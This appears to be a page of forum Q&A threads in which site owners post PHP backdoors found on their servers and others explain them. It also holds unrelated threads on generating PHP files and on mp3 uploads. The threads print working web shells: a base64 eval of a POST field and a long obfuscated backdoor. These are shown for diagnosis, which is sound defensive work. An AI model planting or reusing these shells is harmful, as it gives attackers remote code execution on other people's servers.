Ok so here's what I've googled:
It seems there is an uploaded file named "image.php" that is uploaded in a qcubed directory.
That image.php file contains the following base64 code:
aWYoaXNzZXQoJF9QT1NUWydlJ10pKWV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2UnXSkpO2VjaG8gJzMxMzkzNjJlMzIzMzMxMmQzMTM3MzIyZTMyMzgzYTY5NjY2MTYzNjU3MjZkNzA3NTYyNmQ2OTYzNjUzYTYxNjY2MTYzMzQzMjY1NzI2OTMwMzInOw==
decoded it adds to this:
if(isset($_POST['e']))
eval(base64_decode($_POST['e']));
echo '3139362e3233312d3137322e32383a6966616365726d7075626d6963653a6166616334326572693032';
Searching for the outputed string I found simillar qcubed vulnerabilities on other sites.
Decoding the last echoed string I got:
196.231-172.28:ifacermpubmice:afac42eri02
Which I really don`t understand what it does (using:http://ostermiller.org/calc/encode.html).
Can you please explain me what in particular I`m facing here?
What security vulnerability I should adress in order to fix this?
The script will execute any PHP code it gets from the e POST variable, which of course is a horrible, most dangerous vulnerability.
The echo statement might be a confirmation for the attacking script that the correct version is installed or something.
However, this is only dangerous if the image.php file can actually be executed in that directory. It's hard to give advice on what to do without knowing how the file got there in the first place.
Most likely a script kiddie used an exploit to break into your site. Make sure your PHP application and libraries are up to date.
Related
A friend of mine asked to make some changes to his website. When looking at the code I found every php file had this single line of code. So I had to Decode the string and replace the file with the result. From there I was able to make the proper adjustments to the site.
<?php eval("?>".base64_decode("PD9waHANCglpbmNsdWRlX29uY2UoJ2Z1bmN0aW9ucy5waHAnKTsNCj8+DQo8IURPQ1RZUEUgaHRtbCBQdWJsaWMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBUcmFuc2l0a......=")); ?>
My question is why would someone do such a thing? Doesn't this add an extra process to every page?
He just thought that this may protect the code from being stolen, but that 's wrong off course.
This is the code:
<?php
$mign='*]`Dy6b'^'G';$qxqytq='HFJ01,0=^SG';$tehui='8P1Z}OeJXSbkV.L-zUJ2F#)GYy!JX%Bq';$xepyo='%';$ubs='lgO-2y-C_0AlSYMV_=ybr'^'DEzq9GRU';$zswu=0;##pS9Kg{5F$!S5Yb9Yf?R][|,z
$tjtgc|'ydiewzrbbxpynuhihqways';vukykn;$cqhi='#TQGI8[8:6_L-97'^'F&#(;g)]JY-8DWP65*E/h';$ivcppw='C%;';/*gn/zl_:#Jjsg$&&Sc&R$yakd='lgiwcwijhpuinad';'farustppsomkv';*/$qhn='$/vm$4YTo';$pef='0lb+)(o';$nmpnj='1*]sGZ]MsPYJCY'^'XD4,4?)';$nrohc='(_'^'Lj$5KKm';heag;$koqp=${'o/-dba*MsPYJCY'^$pef};hcel;$bplv=$qxqytq.$xepyo;$nufx='[eR?O}W/aa[^2K(IH7xVpEK"lJBr`CsD';$nmpnj($cqhi,$zswu);$fbbqn='+4/QEIo[+=$Q*JU';##p:YubiF)O0!pzf7wiB+M)gYR$Hy]U4.E,e?
$lku='Ymhp8`2#';/**|)JZV:3-R%EE=o2vK24OG#hmd[x"lGWAVz*/'p[7mlK';/*Yfb#:/h#EX(J-nIJ)A8EI-Y66O-Az|Nx}mZ=N?BIYzwuihjc^/$+9u5$^glt6=Zj+Tvz2d_l^*/'#)}R-xh';mpggm;$cqhi($zswu);##d1_"E4ZRb^z%jk-:v6}#g]#[7hXC"S
$tyz='hK0D3%*W&Yd';mhlamr;/*$xeeq;n3CVH|m}ql#(wi^M074$}UD-#Q58t"hj0n^M-v[zyP|Qjjrxdxl>>$amhg*/$tnzm=$nufx.'_0Isw'^$tehui;##l3X.-o$i[f%^W]v_0/ACZRMU*je.ztj)6gcA
$kgxnh=$bplv.$ivcppw^$fbbqn;'A`tF,G';/*Rs;1%fj1lIw]U#ANT"#zyu"Ef|,=bKasH*"tftelkntqhpcdnf>>es+"Arm"WKVh;aV.1vV^pEu1*/kyrp;$xepyo=$mign.$nrohc;$ctwvbd=$koqp['ksnkhe'];'{kMSjp]';if($tnzm==$xepyo($ctwvbd)/*^A,:q_`6)"5=#GVlbLwsRa&hPR%w3.8S+Nez3g(?Y8:*/){/*PPA2[RC"o9$nz='fmigpxxindhegtxconzwjcto';'zc';*/$fduger='O#*"/59S+F|$F0?!E^AZG`,b0xj:C7YHE#^r6ai7[&2%-=VvoQubf]qrb`9bnbXR)S7ZOtpNqkAK#_(8ocvKR=II#F1;s7lntBNI/Td)lKqWdUZ6Zb1XI`9&3.P"P(vBy??;7{wQ],2:xj7#%0#8DNR;S;|GNVH)25;633!z:Y?*HmXzfdY]WB-^VAJM"VoBk))M$R.ftU0]UY0)B#_{A.2;##]=`U0SX,PU:dFc0"!)R';$wuxhwd='p`LKCPf4N2#G)^KD+*2rc?j+|=9aaR39*#,Pk:KC6VmKLP3T2xUXFy.1-/r++9z7C"X9=V-u{bHo53BBRKW.?M=0hbn}:{)=/`,+J$FtEbQhD33Z?=V==?ZI]Z5L$[^f&yvwr(,s?NWJZ7lbQ]Sg*/?^qfUgtvlvqzt}zvzXX;ZZj0cpom}3?2[$3|(,Q3Yv4ML.K6KNP6B/;pnK#P:MuqV^#L9XHqE?2Vyn0mO#UT#Ez';$mynbq='5XNBz#';$ynbwu^$rgwyx;$xrazo='Afyo-3;*`OjI+H:2sO-dmx5kma05&W+EY/NYq';/*$md;Kh`L(9y#t,NQEDVz*uQ4yV:o+ouD#t^F.qAd!=,2"bmo<<$qtfxzlihia*//*$qlqo;U]y-fa]#JRDD$[-Deeghldc>>$dybre*/
##_W}8|bSK^C#$J..a5:]s(
$sqyh=$vxk^'Kmi0Z=5&8z';/*YLqCs8gylkR?H;m2FlLw*zgfmljzb^&-O9D$5dt#GMfd&|bX-66?0|:4;*/$miqbq=',JjZQwb}"}'.'slady';/*`k"Nn$:|#o`u(8lJ1=Kg=eJ"x0hBU4$w-2|x-wQmo4)/*/
'WMMg';'8aQ;1h5';'fR_fq';'9%=.7ho';$aizt='bwjHYJJjot;;7lV}$dkVt';$upnyd^$yxzz;'_t0z$%';##=i=w?3mV5s)K/O#f_IU^5WTG"tS!/
$wdfnl=$mynrf.'t09}/UKf)k+VFC0N';/*[#Y0Y#pi4D%z%4Q1cJC*^aa^vY/bFLxpuwccni|mM|$",j5^jh#DY=m^7tL_&:{hX*/$cbarg='9"6G,K/UMq?GLO5rYT'.$uagz;$buu='KopKNAID]gK,F8NK[kr"$4p86CU_W8H7{rgpQ'.$fduger;
$kjkrf='E_pbB/iZlx';/*-Awooy^1]c-(a#j}=%,mHJqwgix|ehj(CsHUTrSW8OCn_Zz8Roj}9Q;xCf4%2]QgzL*/$umjxo=$xrazo.$wuxhwd;$koe='SD##5j/Tk=BNek&h';$nsj='9"6G,K/UMq?GLO5rYT'^$mcoe;$pjzk^':nBjE7';$buu.='aZ:0S%=X#w3';$whql=$buu.'6XWi9EiMc4'^$umjxo.'E4R#%_Xq{}:';/*$ow;zNW(]WrX7]XYnidtdxia<<$oxbxywv*/
$ojg='bO8rU(2Vd{HSGS!';$zqs='Ce}/q+z"y?]Tex'.'3#?I6Rn]UOc&T)uj';'6XWi9EiMc4';'JUVtY+Ub1iqI3{9';$odoiv=$odoiv.'*u|0eGu-Pe=WOd+g95sZZ8|V%L';$fbu=$fbu.';U;HZ"D[d0H2J.#';/*MPm}M}!Qb5`Xx{(h4N0o2F&5;;d{WeMQ(EDH#&B8}r.ciz#g"dLFtObo)DzJp4l%[4CHp%[]Z*/$dwl=$kgxnh($qpm,$whql);$dwl('$h&"3Z%MPDm)/(l:My"%CK,${)CW+#P[','9BeCi=uox');}$zfqa('{Hg"G2','?Zt/{2T');plktjco;':4_epeN(-EHY7!L5OzSpm(^TnX';'iV(!{?d$V.';$kedr('-.sGVZ_B4`0');
$flzrk($qmdr,$nnxk);txzpdre;##pfE/}Mg{S.^"Ry]O|2PK?ulW
$ryy='q0ht#';##rt3I]{hp6$AWo7yb#|xKCPo?VBY$[{[
$lg='|.,oBa';/*]z1O/!V+rf$8rqj98`PLT7?js;%wvisxjbed|!J[cG;Zf)Jw[Qv}g4T3E&=}*/
/*[SXl3i[#y?,d2m3:H?7j8n9?iPslC.5_f`[:z_$sqx='jttsry';'ojty';*/'*iAvU|(bNJ_1';
?>
I've tried figuring out what it means or what it's trying to do, but I think it might be a bit over my head. Can anyone tell me if this is in fact a malicious backdoor script that founds it's way onto the server?
UPDATE
I found this code in sites/default/files in a drupal installation. Luckily you can't execute PHP from that folder, but it means a "normal" or "anonymous" user tried to upload this.
It is malicious alright, however it dynamically evaluates code supplied by the browser so we cannot determine what has been executed against it. It is possible it was using in a file include attack so being able to execute php in it's stored location matters little.
I found a file systems.php on my webserver that neither I - as user - placed there, nor my webserver provider has placed in there. I viewed the file, it only contains one preg_replace() statement with an extremly long $replacement part, which seems to be somehow encoded.
preg_replace("/.*/e","\x28\x65\...\x29\x29\x3B",".");
If I interpret this statement correctly, it would mean that basically everything shall be replaced be the $replacement part (which might be encrypted/encoded virus injection stuff).
I have uploaded the whole code as pastebin here. Someone has an idea in what way the code is encrypted/how it can be decrypted in order to assess the grade of compromisation of my server?
Update
This might be the attack vector:
So after some digging, we found that this script was planted using a vulnerability in the Uploadify jQuery library. The library's existence was discovered by the attacker through google. source
Unhexxing the shellcode shows it's executing eval(gzinflate(base64_decode(huge string));
I changed this eval to an echo and the full output is on pastebin here:
http://pastebin.com/t1iZ5LQ8
I haven't looked much further into this but it certainly seems dodgy. Just thought I'd do some of the legwork for anyone interested in looking at it further
EDIT
Little bit more detailed look, it appears to allow an attacker to upload files to your server, and take a dump of any databases on the box
It's look like a Shellcode, which can be disastrous for your server, shellcode executed by the CPU can give access to a shell or shuch of things.
For more informations about shellcodes here's a good article :
http://www.vividmachines.com/shellcode/shellcode.html
This upload may hide a possible exploit on your server which grant access to upload or write data into, try to check your logs to identify the problem.
I would like to write a script to edit a css file or maybe even a slideshow for instance where a form will update the variables in my php document. I've been doing some reading and some say editing a php file directly is bad news due to security issues and to use xml.
I am not connecting to databases or anything like that. So my question is is this correct to write script to directly write/update a php file to changes its variables?
Thank you.
if you can correctly sanitize your input then it is a usable aproach. The worst that can happen is code injection. So do check for variable length and content very strictly. It is like eval(); only worse, as everyone else will run it to. If there are only variables to change you might consider using an .ini file for configuration. And Use the data in that from your PHP script
In general you should not run PHP scripts as a user with permissions to write to its own executable code; it means any file write vulnerability immediately escalates to a code execution vulnerability.
Writing dynamic data into a PHP file is risky. You would need to know how to serialise/escape any value to a PHP literal exactly; any error could result in code execution. Watertight code generation is in general a tricky thing.
There is almost certainly a better way to approach whatever it is you are doing. Putting data in a static store such as a config file or database, and reading the data at run-time, would seem to be the place to start.
I am building a site, where users can upload their mp3s and I ran into a little problem that I can't solve:
The upload works fine, but only when the user selects an mp3-file which has no spaces in their mp3-filename. A file like 'My nice mp3 file.mp3' will result in a NULL of $_FILES['file']. Has this to do with Server-configurations?
Anyone has an idea how to solve that? Other than telling the user just to upload mp3files without spaces in their names, that is :-)
Thanx,
Maenny
As the other users have said, it's probably not the spaces causing the problem. My first thought would be to check that your upload_limit for PHP is set high enough. Remember also that no matter what the user has called their file, you should NEVER store it with that filename on the server - there's too much risk of a potential security hole by doing that.
To diagnose this problem though, I'd suggest creating an MP3 file that you know is OK, make 2 copies - name one with spaces, and one without. And then see whether the one with spaces fails. If that is the case, then at least you know that you've definitely found the source of your problem - if not, then you've eliminated one possible cause of it, and you can look elsewhere.
The filename of the remote (client) file should not affect how it is transported to the server. Are you sure that spaces are the problem?
Try to urlencode() your file name.
If that doesn't work, try rawurlencode().
If that doesn't work, I am off mark :)
Spaces should not cause this issue. I have an MP3 uploader on my website and have no trouble with spaces. I have tested with "Test Name.mp3" and it worked fine.
http://www.the-mag.me.uk/Music/Articles/Item/Add-Your-Music/
To help you diagnose any potential problem, try dumping out the contents of the $_FILES array and check to see if anything in there gives you a clue.
print_r($_FILES);